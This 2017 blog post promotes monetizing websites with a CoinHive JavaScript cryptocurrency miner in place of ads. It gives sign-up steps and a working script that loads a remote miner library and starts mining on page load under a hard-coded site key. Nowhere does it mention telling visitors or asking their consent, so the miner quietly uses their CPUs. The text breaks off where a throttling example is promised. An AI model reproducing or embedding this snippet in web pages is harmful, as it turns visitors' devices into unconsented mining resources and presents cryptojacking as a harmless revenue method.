Monetizing Websites without having to use annoying advertisements! Just use a JavaScript Miner!
23 Sep 2017Have you ever wanted to make a personal website or even a business website that would not require the end user to be annoyed by adverts? If you have, then today is your day!
All you have to do is use a JS Miner from CoinHive.
And adding it to a new or even existing website/webpage is as simple as the following 3 steps.
Step 1: Go to the CoinHive “Sign Up” page and create your account.
Step 2: Go to the CoinHive “Settings > Sites” page and get your “Site Key”.
Step 3: Add the following code snippet to your webpage/webpages.
<!-- Monetizing visitor traffic -->
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
// What site-key do we use?
var key = '8HwAd4b7uoIsGeauLI4MFx7udLaTofWm'; // Don't forget to replace this with your own key
// Get instance of the miner
var miner = new CoinHive.Anonymous(key);
// Start this baby up!
miner.start();
</script>
Take note that there are options to customize the miner for example in this next snippet, we set a 50% throttle for the miner CPU cycles consumed.
